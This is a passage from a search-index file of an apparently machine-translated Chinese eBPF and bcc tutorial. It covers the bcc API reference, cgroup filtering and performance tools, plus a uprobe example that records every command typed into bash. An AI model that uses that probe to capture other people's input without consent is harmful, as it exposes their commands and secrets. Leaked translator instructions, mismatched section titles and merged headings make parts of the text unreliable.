struct request *req)\n{ dist.increment(bpf_log2l(req->__data_len / 1024)); return 0;\n}\n\"\"\")\n[...] b[\"dist\"].print_log2_hist(\"kbytes\") 输出: kbytes : count distribution 0 -> 1 : 3 | | 2 -> 3 : 0 | | 4 -> 7 : 211 |********** | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 1 | | 128 -> 255 : 800 |**************************************| 这个输出显示了一个多模式分布，最大模式是128->255 kbytes，计数为800。 这是一种高效的数据概括方法，因为概括是在内核中执行的，只有计数列被传递到用户空间。 实际示例: 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 9. items_update_batch()","id":"345","title":"9. items_update_batch()"},"346":{"body":"以ASCII字符形式打印一个线性直方图的表格。此功能旨在可视化小的整数范围，例如0到100。 参数: val_type: 可选，列标题。 section_header: 如果直方图有一个二级键，则会打印多个表格，并且section_header可以用作每个表格的头部描述。 section_print_fn: 如果section_print_fn不为None，则会将bucket的值传递给它。 示例: b = BPF(text=\"\"\"\nBPF_HISTOGRAM(dist); int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)\n{ dist.increment(req->__data_len / 1024); return 0;\n}\n\"\"\")\n[...] b[\"dist\"].print_linear_hist(\"kbytes\") 输出: kbytes : count distribution 0 : 3 |****** | 1 : 0 | | 2 : 0 | | 3 : 0 | | 4 : 19 |****************************************| 5 : 0 | | 6 : 0 | | 7 : 0 | | 8 : 4 |******** | 9 : 0 | | 10 : 0 | | 11 : 0 | | 12 : 0 | | 13 : 0 | | 14 : 0 | | 15 : 0 | |。\n```### 16 : 2 |**** |\n[...] 这是一种高效的数据汇总方式，因为汇总是在内核中执行的，只有计数列中的值传递到用户空间。 现场示例: 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 11. print_linear_hist()\".语法: table.print_linear_hist(val_type=\"value\", section_header=\"Bucket ptr\", section_print_fn=None)","id":"346","title":"11. print_linear_hist()\".语法: table.print_linear_hist(val_type=\"value\", section_header=\"Bucket ptr\", section_print_fn=None)"},"347":{"body":"语法: table.open_ring_buffer(callback, ctx=None) 此操作用于在BPF中定义为BPF_RINGBUF_OUTPUT()的表，并将Python回调函数callback与ringbuf环形缓冲区中有可用数据时调用相连。这是从内核向用户空间传输每个事件数据的新（Linux 5.8+）推荐机制的一部分。不同于perf缓冲区，ringbuf大小在BPF程序中指定，作为BPF_RINGBUF_OUTPUT宏的一部分。如果回调函数处理数据不够快，可能会丢失一些提交的数据。在这种情况下，事件应该更频繁地进行轮询和/或增加环形缓冲区的大小。 示例: # 处理事件\ndef print_event(ctx, data, size): event = ct.cast(data, ct.POINTER(Data)).contents [...] # 循环并使用print_event回调函数\nb[\"events\"].open_ring_buffer(print_event)\nwhile 1: try: b.ring_buffer_poll() except KeyboardInterrupt: exit() 请注意，在BPF程序中，传输的数据结构需要在C中声明。例如: // 在C中定义输出数据结构\nstruct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_RINGBUF_OUTPUT(events, 8);\n[...] 在Python中，您可以让bcc自动从C的声明中生成数据结构（推荐）: def print_event(ctx, data, size): event = b[\"events\"].event(data)\n[...] 或者手动定义: TASK_COMM_LEN = 16 # linux/sched.h\nclass Data(ct.Structure): _fields_ = [(\"pid\", ct.c_ulonglong), (\"ts\", ct.c_ulonglong), (\"comm\", ct.c_char * TASK_COMM_LEN)] def print_event(ctx, data, size): event = ct.cast(data, ct.POINTER(Data)).contents\n[...] 在原地的示例: 在/examples中搜索 ,","breadcrumbs":"bcc Reference Guide » 12. open_ring_buffer()","id":"347","title":"12. open_ring_buffer()"},"348":{"body":"语法: table.push(leaf, flags=0) 将元素推入堆栈或队列表。如果操作不成功，会引发异常。传递QueueStack.BPF_EXIST作为标志会使队列或堆栈丢弃最旧的元素，如果表已满。 在原地的示例: 在/tests中搜索 ,","breadcrumbs":"bcc Reference Guide » 13. push()","id":"348","title":"13. push()"},"349":{"body":"语法: leaf = table.pop() 从堆栈或队列表中弹出一个元素。与peek()不同，pop()在返回元素之前会将其从表中移除。如果操作不成功，会引发KeyError异常。 在原地的示例: 在/tests中搜索 ,","breadcrumbs":"bcc Reference Guide » 14. pop()","id":"349","title":"14. pop()"},"35":{"body":"uprobe 是一种用于捕获用户空间函数调用的 eBPF 的探针，我们可以通过它来捕获用户空间程序调用的系统函数。 例如，我们可以使用 uprobe 来捕获 bash 的 readline 函数调用，从而获取用户在 bash 中输入的命令行。示例代码如下： #include \n#include \n#include  #define TASK_COMM_LEN 16\n#define MAX_LINE_SIZE 80 /* Format of u[ret]probe section definition supporting auto-attach: * u[ret]probe/binary:function[+offset] * * binary can be an absolute/relative path or a filename; the latter is resolved to a * full binary path via bpf_program__attach_uprobe_opts. * * Specifying uprobe+ ensures we carry out strict matching; either \"uprobe\" must be * specified (and auto-attach is not possible) or the above format is specified for * auto-attach. */\nSEC(\"uretprobe//bin/bash:readline\")\nint BPF_KRETPROBE(printret, const void *ret)\n{ char str[MAX_LINE_SIZE]; char comm[TASK_COMM_LEN]; u32 pid; if (!ret) return 0; bpf_get_current_comm(&comm, sizeof(comm)); pid = bpf_get_current_pid_tgid() >> 32; bpf_probe_read_user_str(str, sizeof(str), ret); bpf_printk(\"PID %d (%s) read: %s \", pid, comm, str); return 0;\n}; char LICENSE[] SEC(\"license\") = \"GPL\"; 这段代码的作用是在 bash 的 readline 函数返回时执行指定的 BPF_KRETPROBE 函数，即 printret 函数。 在 printret 函数中，我们首先获取了调用 readline 函数的进程的进程名称和进程 ID，然后通过 bpf_probe_read_user_str 函数读取了用户输入的命令行字符串，最后通过 bpf_printk 函数打印出进程 ID、进程名称和输入的命令行字符串。 除此之外，我们还需要通过 SEC 宏来定义 uprobe 探针，并使用 BPF_KRETPROBE 宏来定义探针函数。 在 SEC 宏中，我们需要指定 uprobe 的类型、要捕获的二进制文件的路径和要捕获的函数名称。例如，上面的代码中的 SEC 宏的定义如下： SEC(\"uprobe//bin/bash:readline\") 这表示我们要捕获的是 /bin/bash 二进制文件中的 readline 函数。 接下来，我们需要使用 BPF_KRETPROBE 宏来定义探针函数，例如： BPF_KRETPROBE(printret, const void *ret) 这里的 printret 是探针函数的名称，const void *ret 是探针函数的参数，它代表被捕获的函数的返回值。 然后，我们使用了 bpf_get_current_comm 函数获取当前任务的名称，并将其存储在 comm 数组中。 bpf_get_current_comm(&comm, sizeof(comm)); 使用 bpf_get_current_pid_tgid 函数获取当前进程的 PID，并将其存储在 pid 变量中。 pid = bpf_get_current_pid_tgid() >> 32; 使用 bpf_probe_read_user_str 函数从用户空间读取 readline 函数的返回值，并将其存储在 str 数组中。 bpf_probe_read_user_str(str, sizeof(str), ret); 最后使用 bpf_printk 函数输出 PID、任务名称和用户输入的字符串。 bpf_printk(\"PID %d (%s) read: %s \", pid, comm, str); eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： $ ecc bashreadline.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe bash-32969 [000] d..31 64001.375748: bpf_trace_printk: PID 32969 (bash) read: fff bash-32969 [000] d..31 64002.056951: bpf_trace_printk: PID 32969 (bash) read: fff 可以看到，我们成功的捕获了 bash 的 readline 函数调用，并获取了用户在 bash 中输入的命令行。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » 使用 uprobe 捕获 bash 的 readline 函数调用","id":"35","title":"使用 uprobe 捕获 bash 的 readline 函数调用"},"350":{"body":"语法: leaf = table.peek() 查看堆栈或队列表头部的元素。与pop()不同，peek()不会将元素从表中移除。如果操作不成功，会引发异常。 在原地的示例: 在/tests中搜索 ,","breadcrumbs":"bcc Reference Guide » 15. peek()","id":"350","title":"15. peek()"},"351":{"body":"一些由bcc提供的辅助方法。请注意，因为我们在Python中，我们可以导入任何Python库及其方法，包括例如argparse、collections、ctypes、datetime、re、socket、struct、subprocess、sys和time等库。","breadcrumbs":"bcc Reference Guide » 辅助方法","id":"351","title":"辅助方法"},"352":{"body":"语法: BPF.ksym(addr) 将内核内存地址转换为内核函数名称，并返回该名称。 示例: 格式: 只返回转换后的内容，不包括原始文本。```markdown\nprint(\"内核函数：\" + b.ksym(addr)) 例子： 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 1. ksym()","id":"352","title":"1. ksym()"},"353":{"body":"语法：BPF.ksymname(name) 将内核名称翻译为地址。这是ksym的反向过程。当函数名称未知时，返回-1。 例子： print(\"内核地址：%x\" % b.ksymname(\"vfs_read\")) 例子： 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 2. ksymname()","id":"353","title":"2. ksymname()"},"354":{"body":"语法：BPF.sym(addr, pid, show_module=False, show_offset=False) 将内存地址翻译为pid的函数名称，并返回。小于零的pid将访问内核符号缓存。show_module和show_offset参数控制是否显示函数所在的模块以及是否显示从符号开头的指令偏移量。这些额外参数的默认值为False。 例子： print(\"函数：\" + b.sym(addr, pid)) 例子： 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 3. sym()","id":"354","title":"3. sym()"},"355":{"body":"语法：BPF.num_open_kprobes() 返回打开的k[ret]probe的数量。当使用event_re附加和分离探测点时，可以发挥作用。不包括perf_events读取器。 例子： b.attach_kprobe(event_re=pattern, fn_name=\"trace_count\")\nmatched = b.num_open_kprobes()\nif matched == 0: print(\"0个函数与\\\"%s\\\"匹配。程序退出。\" % args.pattern) exit() 例子：\" 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 4. num_open_kprobes()","id":"355","title":"4. num_open_kprobes()"},"356":{"body":"语法: BPF.get_syscall_fnname(name : str) 返回系统调用的相应内核函数名。该辅助函数将尝试不同的前缀，并与系统调用名连接起来。请注意，返回值可能在不同版本的Linux内核中有所不同，有时会引起问题。 （见 #2590 ） 示例: print(\"在内核中，%s 的函数名是 %s\" % (\"clone\", b.get_syscall_fnname(\"clone\")))\n# sys_clone 或 __x64_sys_clone 或 ... 现场示例: 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 5. get_syscall_fnname()","id":"356","title":"5. get_syscall_fnname()"},"357":{"body":"请参阅内核源码中的“Understanding eBPF verifier messages”部分，位于 Documentation/networking/filter.txt。","breadcrumbs":"bcc Reference Guide » BPF 错误","id":"357","title":"BPF 错误"},"358":{"body":"这可能是因为试图直接读取内存，而不是操作BPF堆栈上的内存。所有对内核内存的读取必须通过 bpf_probe_read_kernel() 传递，以将内核内存复制到BPF堆栈中，在一些简单关联的情况下，bcc 重写器可以自动完成。bpf_probe_read_kernel() 执行所有必要的检查。 示例: bpf: Permission denied\n0: (bf) r6 = r1\n1: (79) r7 = *(u64 *)(r6 +80)\n2: (85) call 14\n3: (bf) r8 = r0\n[...]\n23: (69) r1 = *(u16 *)(r7 +16)\nR7 invalid mem access 'inv' Traceback (most recent call last): File \"./tcpaccept\", line 179, in  b = BPF(text=bpf_text) File \"/usr/lib/python2.7/dist-packages/bcc/__init__.py\", line 172, in __init__ self._trace_autoload()\".\n/usr/lib/python2.7/dist-packages/bcc/__init__.py\"，第 612 行，_trace_autoload 中： fn = self.load_func(func_name, BPF.KPROBE) 文件 \"/usr/lib/python2.7/dist-packages/bcc/__init__.py\"，第 212 行，load_func 中： raise Exception(\"加载 BPF 程序 %s 失败\" % func_name)\nException: 加载 BPF 程序 kretprobe__inet_csk_accept 失败","breadcrumbs":"bcc Reference Guide » 1. Invalid mem access","id":"358","title":"1. Invalid mem access"},"359":{"body":"当非 GPL BPF 程序调用 GPL-only 辅助函数时，会出现此错误。要修复此错误，请勿在专有 BPF 程序中使用 GPL-only 辅助函数，或者将 BPF 程序重新授权为 GPL-compatible 许可证。请查看哪些 BPF helpers 是 GPL-only 的，并且哪些许可证被视为 GPL-compatible。 示例，从专有程序（#define BPF_LICENSE Proprietary）调用 bpf_get_stackid()，一种 GPL-only 的 BPF helper： bpf: 加载程序失败：无效参数\n[...]\n8: (85) 调用 bpf_get_stackid#27\n无法从专有程序调用 GPL-only 函数","breadcrumbs":"bcc Reference Guide » 2. 无法从专有程序调用 GPL-only 函数","id":"359","title":"2. 无法从专有程序调用 GPL-only 函数"},"36":{"body":"在上述代码中，我们使用了 SEC 宏来定义了一个 uprobe 探针，它指定了要捕获的用户空间程序 (bin/bash) 和要捕获的函数 (readline)。此外，我们还使用了 BPF_KRETPROBE 宏来定义了一个用于处理 readline 函数返回值的回调函数 (printret)。该函数可以获取到 readline 函数的返回值，并将其打印到内核日志中。通过这样的方式，我们就可以使用 eBPF 来捕获 bash 的 readline 函数调用，并获取用户在 bash 中输入的命令行。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 uprobe 捕获 bash 的 readline 函数调用 » 总结","id":"36","title":"总结"},"360":{"body":"","breadcrumbs":"bcc Reference Guide » 环境变量","id":"360","title":"环境变量"},"361":{"body":"eBPF 程序编译需要内核源代码或已编译的内核头。如果你的内核源代码位于无法被 BCC 找到的非标准位置，可以通过将 BCC_KERNEL_SOURCE 设置为该路径的绝对路径来为 BCC 提供所需的位置信息。","breadcrumbs":"bcc Reference Guide » 1. 内核源代码目录","id":"361","title":"1. 内核源代码目录"},"362":{"body":"默认情况下，BCC 将 LINUX_VERSION_CODE 存储在生成的 eBPF 对象中，并在加载 eBPF 程序时传递给内核。有时，这可能非常不方便，尤其是当内核略有更新时，比如 LTS 内核发布。微小的不匹配几乎不会导致加载的 eBPF 程序出现任何问题。通过将 BCC_LINUX_VERSION_CODE 设置为正在运行的内核版本，可以绕过验证内核版本的检查。这对于程序是必需的。使用kprobes的程序需要以(VERSION * 65536) + (PATCHLEVEL * 256) + SUBLEVEL的格式进行编码。例如，如果当前运行的内核是4.9.10，则可以设置export BCC_LINUX_VERSION_CODE=264458以成功地覆盖内核版本检查。","breadcrumbs":"bcc Reference Guide » 2. 内核版本覆盖","id":"362","title":"2. 内核版本覆盖"},"363":{"body":"某些工具具有特殊的过滤能力，主要用例是跟踪运行在容器中的进程，但这些机制是通用的，也可以在其他情况下使用。","breadcrumbs":"Special Filtering » 特殊过滤","id":"363","title":"特殊过滤"},"364":{"body":"某些工具有一个通过引用外部管理的固定的BPF哈希映射来按cgroup过滤的选项。 命令示例： # ./opensnoop --cgroupmap /sys/fs/bpf/test01\n# ./execsnoop --cgroupmap /sys/fs/bpf/test01\n# ./tcpconnect --cgroupmap /sys/fs/bpf/test01\n# ./tcpaccept --cgroupmap /sys/fs/bpf/test01\n# ./tcptracer --cgroupmap /sys/fs/bpf/test01 上述命令将仅显示属于一个或多个cgroup的进程的结果，这些cgroup的ID由bpf_get_current_cgroup_id()返回，并存在固定的BPF哈希映射中。 通过以下方式创建BPF哈希映射： # bpftool map create /sys/fs/bpf/test01 type hash key 8 value 8 entries 128 \\ name cgroupset flags 0 要在新cgroup中获取一个shell，可以使用： # systemd-run --pty --unit test bash 该shell将在cgroup/sys/fs/cgroup/unified/system.slice/test.service中运行。 可以使用name_to_handle_at()系统调用来发现cgroup ID。在examples/cgroupid中，您可以找到一个获取cgroup ID的程序示例。 # cd examples/cgroupid\n# make\n# ./cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service 或者，使用Docker： # cd examples/cgroupid\n# docker build -t cgroupid .\n# docker run --rm --privileged -v /sys/fs/cgroup:/sys/fs/cgroup \\ cgroupid cgroupid hex /sys/fs/cgroup/unified/system.slice/test.service 这将以主机的字节序(hexadecimal string)打印出cgroup ID，例如77 16 00 00 01 00 00 00。 # FILE=/sys/fs/bpf/test01\n# CGROUPID_HEX=\"77 16 00 00 01 00 00 00\"\n# bpftool map update pinned $FILE key hex $CGROUPID_HEX value hex 00 00 00 00 00 00 00 00 any 现在，通过systemd-run启动的shell的cgroup ID已经存在于BPF哈希映射中，bcc工具将显示来自该shell的结果。可以添加和。从BPF哈希映射中删除而不重新启动bcc工具。 这个功能对于将bcc工具集成到外部项目中非常有用。","breadcrumbs":"Special Filtering » 按 cgroups过滤","id":"364","title":"按 cgroups过滤"},"365":{"body":"BPF哈希映射可以通过以下方式创建： # bpftool map create /sys/fs/bpf/mnt_ns_set type hash key 8 value 4 entries 128 \\ name mnt_ns_set flags 0 仅执行execsnoop工具，过滤挂载命名空间在/sys/fs/bpf/mnt_ns_set中： # tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set 在新的挂载命名空间中启动一个终端： # unshare -m bash 使用上述终端的挂载命名空间ID更新哈希映射： FILE=/sys/fs/bpf/mnt_ns_set\nif [ $(printf '\\1' | od -dAn) -eq 1 ]; then HOST_ENDIAN_CMD=tac\nelse HOST_ENDIAN_CMD=cat\nfi NS_ID_HEX=\"$(printf '%016x' $(stat -Lc '%i' /proc/self/ns/mnt) | sed 's/.\\{2\\}/&\\n/g' | $HOST_ENDIAN_CMD)\"\nbpftool map update pinned $FILE key hex $NS_ID_HEX value hex 00 00 00 00 any 在这个终端中执行命令： # ping kinvolk.io 你会看到在上述你启动的execsnoop终端中，这个调用被记录下来： # tools/execsnoop.py --mntnsmap /sys/fs/bpf/mnt_ns_set\n[sudo] password for mvb:\nPCOMM PID PPID RET ARGS\nping 8096 7970 0 /bin/ping kinvolk.io\n```。","breadcrumbs":"Special Filtering » 按命名空间选择挂载点进行过滤","id":"365","title":"按命名空间选择挂载点进行过滤"},"366":{"body":"本教程介绍如何使用 bcc 工具快速解决性能、故障排除和网络问题。如果你想开发新的bcc工具，请参考 tutorial_bcc_python_developer.md 教程。 本教程假设bcc已经安装好，并且你可以成功运行像execsnoop这样的工具。参见 INSTALL.md 。这些功能是在Linux 4.x系列中增加的。","breadcrumbs":"bcc Tutorial » bcc 教程","id":"366","title":"bcc 教程"},"367":{"body":"一些快速的收获。","breadcrumbs":"bcc Tutorial » 可观察性","id":"367","title":"可观察性"},"368":{"body":"在使用bcc之前，你应该从Linux基础知识开始。可以参考 Linux Performance Analysis in 60,000 Milliseconds 文章，其中介绍了以下命令： uptime dmesg | tail vmstat 1 mpstat -P ALL 1 pidstat 1 iostat -xz 1 free -m sar -n DEV 1 sar -n TCP,ETCP 1 top","breadcrumbs":"bcc Tutorial » 0. 使用bcc之前","id":"368","title":"0. 使用bcc之前"},"369":{"body":"这是一个用于性能调查的通用检查清单，首先有一个列表，然后详细描述： execsnoop opensnoop ext4slower（或btrfs*，xfs*，zfs*） biolatency biosnoop cachestat tcpconnect tcpaccept tcpretrans runqlat profile 这些工具可能已经安装在你的系统的/usr/share/bcc/tools目录下，或者你可以从bcc github仓库的/tools目录中运行它们，这些工具使用.py扩展名。浏览50多个可用的工具，获得更多的分析选项。 1.1 execsnoop # ./execsnoop\nPCOMM PID RET ARGS\nsupervise 9660 0 ./run\nsupervise 9661 0 ./run\nmkdir 9662 0 /bin/mkdir -p ./main\nrun 9663 0 ./run\n[...] execsnoop对于每个新进程打印一行输出。检查短生命周期的进程。这些进程可能会消耗CPU资源，但不会在大多数周期性运行的进程监控工具中显示出来。它通过跟踪exec()来工作，而不是fork()，所以它可以捕获许多类型的新进程，但不是所有类型（例如，它不会看到启动工作进程的应用程序，该应用程序没有exec()其他任何内容）。 更多 例子 。 1.2. opensnoop # ./opensnoop\nPID COMM FD ERR PATH\n1565 redis-server 5 0 /proc/1565/stat\n1565 redis-server 5 0 /proc/1565/stat\n1565 redis-server 5 0 /proc/1565/stat\n1603 snmpd 9 0 /proc/net/dev\n1603 snmpd 11 0 /proc/net/if_inet6\n1603 snmpd -1 2 /sys/class/net/eth0/device/vendor\n1603 snmpd 11 0 /proc/sys/net/ipv4/neigh/eth0/retrans_time_ms\n1603 snmpd 11 0 /proc/sys/net/ipv6/neigh/eth0/retrans_time_ms\n1603 snmpd 11 0 /proc/sys/net/ipv6/conf/eth0/forwarding\n[...] opensnoop每次open() syscall执行时打印一行输出，包括详细信息。 打开的文件可以告诉你很多关于应用程序的工作方式的信息：它们的数据文件、配置文件和日志文件。有时候应用程序可能会表现不正常，当它们不断尝试读取不存在的文件时则会表现得很差。opensnoop能够快速帮助你查看。 更多 例子 。 1.3. ext4slower（或btrfs*，xfs*，zfs*） # ./ext4slower\n追踪超过10毫秒的ext4操作\n时间 进程 进程ID T 字节数 偏移KB 延迟(ms) 文件名\n06:35:01 cron 16464 R 1249 0 16.05 common-auth\n06:35:01 cron 16463 R 1249 0 16.04 common-auth\n06:35:01 cron 16465 R 1249 0 16.03 common-auth\n06:35:01 cron 16465 R 4096 0 10.62 login.defs\n06:35:01 cron 16464 R 4096 0 10.61 login.defs ext4slower跟踪ext4文件系统，并计时常见操作，然后只打印超过阈值的操作。这对于识别或证明一种性能问题非常方便：通过文件系统单独显示较慢的磁盘 I/O。磁盘以异步方式处理 I/O，很难将该层的延迟与应用程序所经历的延迟关联起来。在内核堆栈中更高层的追踪，即在 VFS -> 文件系统接口中，会更接近应用程序遭受的延迟。使用此工具来判断文件系统的延迟是否超过了给定的阈值。 在 bcc 中存在其他文件系统的类似工具：btrfsslower、xfsslower 和 zfsslower。还有一个名为 fileslower 的工具，它在 VFS 层工作并跟踪所有内容（尽管会有更高的开销）。 更多 示例 。 1.4. biolatency # ./biolatency\n跟踪块设备的 I/O... 按 Ctrl-C 结束。\n^C 微秒 : 数量 分布 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 1 | | 128 -> 255 : 12 |******** | 256 -> 511 : 15 |********** | 512 -> 1023 : 43 |******************************* | 1024 -> 2047 : 52 |**************************************| 2048 -> 4095 : 47 |********************************** | 4096 -> 8191 : 52 |**************************************| 8192 -> 16383 : 36 |************************** | 16384 -> 32767 : 15 |********** |。32768 -> 65535 : 2 |* | 65536 -> 131071 : 2 |* | biolatency跟踪磁盘I/O延迟（从设备执行到完成的时间），当工具结束（Ctrl-C，或给定的间隔）时，它会打印延迟的直方图摘要。 这对于了解超出iostat等工具提供的平均时间的磁盘I/O延迟非常有用。在分布的末尾将可见I/O延迟的异常值，以及多种模式的分布。 更多 示例 。 1.5. biosnoop # ./biosnoop\nTIME(s) COMM PID DISK T SECTOR BYTES LAT(ms)\n0.000004001 supervise 1950 xvda1 W 13092560 4096 0.74\n0.000178002 supervise 1950 xvda1 W 13092432 4096 0.61\n0.001469001 supervise 1956 xvda1 W 13092440 4096 1.24\n0.001588002 supervise 1956 xvda1 W 13115128 4096 1.09\n1.022346001 supervise 1950 xvda1 W 13115272 4096 0.98\n1.022568002 supervise 1950 xvda1 W 13188496 4096 0.93\n[...] biosnoop为每个磁盘I/O打印一行输出，其中包括延迟（从设备执行到完成的时间）等详细信息。 这让您可以更详细地研究磁盘I/O，并寻找按时间排序的模式（例如，读取在写入后排队）。请注意，如果您的系统以高速率执行磁盘I/O，则输出将冗长。 更多 示例 。 1.6. cachestat # ./cachestat HITS MISSES DIRTIES READ_HIT% WRITE_HIT% BUFFERS_MB CACHED_MB 1074 44 13 94.9% 2.9% 1 223 2195 170 8 92.5% 6.8% 1 143 182 53 56 53.6% 1.3% 1 143 62480 40960 20480 40.6% 19.8% 1 223\"。\n格式：仅返回翻译后的内容，不包括原始文本。```\n7 2 5 22.2% 22.2% 1 223 348 0 0 100.0% 0.0% 1 223\n[...] cachestat 每秒（或每个自定义时间间隔）打印一行摘要，显示文件系统缓存的统计信息。 可以用它来识别低缓存命中率和高缺失率，这是性能调优的线索之一。 更多 示例 。 1.7. tcpconnect # ./tcpconnect\nPID COMM IP SADDR DADDR DPORT\n1479 telnet 4 127.0.0.1 127.0.0.1 23\n1469 curl 4 10.201.219.236 54.245.105.25 80\n1469 curl 4 10.201.219.236 54.67.101.145 80\n1991 telnet 6 ::1 ::1 23\n2015 ssh 6 fe80::2000:bff:fe82:3ac fe80::2000:bff:fe82:3ac 22\n[...] tcpconnect 每个活动的 TCP 连接（例如通过 connect()）打印一行输出，包括源地址和目标地址的详细信息。 寻找可能指向应用程序配置问题或入侵者的意外连接。 更多 示例 。 1.8. tcpaccept # ./tcpaccept\nPID COMM IP RADDR LADDR LPORT\n907 sshd 4 192.168.56.1 192.168.56.102 22\n907 sshd 4 127.0.0.1 127.0.0.1 22\n5389 perl 6 1234:ab12:2040:5020:2299:0:5:0 1234:ab12:2040:5020:2299:0:5:0 7001\n[...] tcpaccept 每个被动的 TCP 连接（例如通过 accept()）打印一行输出，包括源地址和目标地址的详细信息。 寻找可能指向应用程序配置问题或入侵者的意外连接。 更多 示例 。 1.9. tcpretrans # ./tcpretrans\".\n```时间 PID IP LADDR:LPORT T> RADDR:RPORT 状态\n01:55:05 0 4 10.153.223.157:22 R> 69.53.245.40:34619 已建立\n01:55:05 0 4 10.153.223.157:22 R> 69.53.245.40:34619 已建立\n01:55:17 0 4 10.153.223.157:22 R> 69.53.245.40:22957 已建立\n[...] tcpretrans为每个TCP重传数据包打印一行输出，其中包括源地址、目的地址以及TCP连接的内核状态。 TCP重传会导致延迟和吞吐量问题。对于已建立的重传，可以查找与网络有关的模式。对于SYN_SENT，可能指向目标内核CPU饱和和内核数据包丢失。 更多 示例 。 1.10. runqlat # ./runqlat\n跟踪运行队列延迟... 按Ctrl-C结束。\n^C 微秒数 : 计数 分布 0 -> 1 : 233 |*********** | 2 -> 3 : 742 |************************************ | 4 -> 7 : 203 |********** | 8 -> 15 : 173 |******** | 16 -> 31 : 24 |* | 32 -> 63 : 0 | | 64 -> 127 : 30 |* | 128 -> 255 : 6 | | 256 -> 511 : 3 | | 512 -> 1023 : 5 | | 1024 -> 2047 : 27 |* | 2048 -> 4095 : 30 |* | 4096 -> 8191 : 20 | | 8192 -> 16383 : 29 |* |\".16384 -> 32767 : 809 |****************************************|\n32768 -> 65535 : 64 |*** | 这可以帮助量化在CPU饱和期间等待获取CPU的时间损失。 更多 示例 。 1.11. 分析 # ./profile\n以每秒49次的频率对所有线程进行采样，包括用户和内核栈...按Ctrl-C结束。\n^C 00007f31d76c3251 [未知] 47a2c1e752bf47f7 [未知] - sign-file (8877) 1 ffffffff813d0af8 __clear_user ffffffff813d5277 iov_iter_zero ffffffff814ec5f2 read_iter_zero ffffffff8120be9d __vfs_read ffffffff8120c385 vfs_read ffffffff8120d786 sys_read ffffffff817cc076 entry_SYSCALL_64_fastpath 00007fc5652ad9b0 read - dd (25036) 4 0000000000400542 func_a 0000000000400598 main 00007f12a133e830 __libc_start_main 083e258d4c544155 [未知] - func_ab (13549) 5 [...] ffffffff8105eb66 native_safe_halt ffffffff8103659e default_idle ffffffff81036d1f arch_cpu_idle ffffffff810bba5a default_idle_call ffffffff810bbd07 cpu_startup_entry ffffffff8104df55 start_secondary - swapper/1 (0) 75 profile是一个CPU分析工具，它在定时间隔内采样堆栈跟踪，并打印唯一堆栈跟踪的摘要及其出现次数。 使用此工具来了解消耗CPU资源的代码路径。 更多 示例 。","breadcrumbs":"bcc Tutorial » 1. 性能分析","id":"369","title":"1. 性能分析"},"37":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具，它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第六篇，主要介绍如何实现一个 eBPF 工具，捕获进程发送信号的系统调用集合，使用 hash map 保存状态。","breadcrumbs":"捕获进程发送信号的系统调用集合，使用 hash map 保存状态 » eBPF 入门开发实践教程六：捕获进程发送信号的系统调用集合，使用 hash map 保存状态","id":"37","title":"eBPF 入门开发实践教程六：捕获进程发送信号的系统调用集合，使用 hash map 保存状态"},"370":{"body":"除了上述用于性能调整的工具外，下面是一个bcc通用工具的清单，首先是一个列表，然后详细说明： trace argdist funccount这些通用工具可能有助于解决您特定问题的可视化。 2.1. 跟踪 示例 1 假设您想要跟踪文件所有权更改。有三个系统调用，chown、fchown和lchown，用户可以使用它们来更改文件所有权。相应的系统调用入口是SyS_[f|l]chown。可以使用以下命令打印系统调用参数和调用进程的用户ID。您可以使用id命令查找特定用户的UID。 $ trace.py \\ 'p::SyS_chown \"file = %s, to_uid = %d, to_gid = %d, from_uid = %d\", arg1, arg2, arg3, $uid' \\ 'p::SyS_fchown \"fd = %d, to_uid = %d, to_gid = %d, from_uid = %d\", arg1, arg2, arg3, $uid' \\ 'p::SyS_lchown \"file = %s, to_uid = %d, to_gid = %d, from_uid = %d\", arg1, arg2, arg3, $uid'\nPID TID COMM FUNC -\n1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-usisgezu/tmp, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269441 1269441 zstd SyS_chown file = /tmp/dotsync-vic7ygj0/dotsync-package.zst, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-a40zd7ev/tmp, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269442 1269442 zstd SyS_chown file = /tmp/dotsync-gzp413o_/dotsync-package.zst, to_uid = 128203, to_gid = 100, from_uid = 128203\n1269255 1269255 python3.6 SyS_lchown file = /tmp/dotsync-whx4fivm/tmp/.bash_profile, 